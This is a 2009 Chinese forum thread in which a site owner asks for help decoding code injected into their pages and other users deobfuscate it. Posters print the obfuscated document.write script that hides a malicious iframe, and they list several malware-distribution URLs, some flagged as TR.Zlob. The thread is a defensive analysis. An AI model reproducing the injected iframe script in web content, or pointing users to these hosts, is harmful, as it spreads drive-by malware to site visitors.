网页都被植入一段代码麻烦解密[by qianwenxiang]

显示全部楼层 · 发表于 2009-2-3 12:43:07

哪位大大看看,麻烦解密,能找出元凶吗,是我程序问题还是服务器问题啊

显示全部楼层 · 发表于 2009-2-3 15:49:58

好像应该是这样

hxxp://网址.getRandString().should-be.cn/cp.cn/

如何确定RandString值就不会了

快来人啊 hp!

[ 本帖最后由 granthill 于 2009-2-3 15:51 编辑 ]

显示全部楼层 · 发表于 2009-2-3 16:02:58

既然是RandString就不要管他了
<html>
<body>
<script>document.write("<%iMfxrRaRmMeR %s%rxcx=x\'RhMtRtMpA:R/M/A1x.Max.%d%iRrMtxyx-%bRoxyR.Mc%nx/M\'% %wMixdAt%hM=M\'%4A3M\'R Rh%eRiAgxhMtR=R3A0R>M<A/RixfMrxaAmxeM>x".replace(/[x%MAR]/g, ''));</script>

显示全部楼层 · 发表于 2009-2-3 16:04:00

IFRAME => http://1.a.dirty-boy.cn/
但是这个站挂了..

显示全部楼层 · 发表于 2009-2-3 21:08:39

http://blast123456789.abc123456789.should-be.cn/cp.cn/
http://analytics.google.com.serv ... upport.cn/index.php
COOKIES..不小心打开关掉又没了...不玩了..

想起来前几天有解过...

>http://cea2315c5522f86d.should-be.cn/jan10.cn/
>http://analytics.google.com.server.main.updates.25-com.cn/support.cn/index.php
>http://1.a.dirty-boy.cn/
>http://wii.per-line.cn/p/o/o.php?2
>http://wii.per-line.cn/m/t
>http://analytics.google.com.server.main.updates.25-com.cn/support.cn/javac.php
>[TR.Zlob]http://analytics.google.com.server.main.updates.25-com.cn/support.cn/forum.php
>[TR.Zlob]http://wii.per-line.cn/m/l/13/d1ecaea6504a81e8f76ed92bcee235ce
>[TR.Zlob]http://wii.per-line.cn/m/l/15/d1c4c3066bf4c72a9bce8fb7142c64c9

[已鉴定] 网页都被植入一段代码麻烦解密[by qianwenxiang]

回复 2楼 granthill 的帖子

评分